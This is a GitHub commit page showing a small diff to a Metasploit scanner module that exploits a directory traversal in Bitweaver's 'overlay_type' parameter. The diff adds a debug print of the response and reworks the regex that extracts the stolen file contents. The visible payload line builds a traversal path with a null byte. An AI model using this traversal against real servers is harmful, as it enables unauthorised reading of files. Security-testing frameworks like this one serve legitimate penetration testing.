We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent d449052 commit 4415849Copy full SHA for 4415849
modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb
@@ -66,7 +66,7 @@ def run_host(ip)
66
'overlay_type' => "#{traverse}#{fname}%00"
67
}
68
})
69
-
+ print_line(res.body)
70
if res and res.code == 200 and res.body =~ /failed to open stream\: No such file/
71
print_error("#{peer} - Cannot read '#{fname}'. File does not exist.")
72
@@ -78,7 +78,7 @@ def run_host(ip)
78
79
elsif res and res.code == 200
80
data = res.body
81
- data = data.scan(/(.+)\n(<br \/>\n)*.+Notice/m).flatten[0] || ''
+ data = (data.scan(/(.+)\n(<br \/>)*\n*.+Notice.+/m).flatten[0] || '').gsub(/\n<br \/>$/, '')
82
83
p = store_loot(
84
'bitweaver.overlay_type',
0 commit comments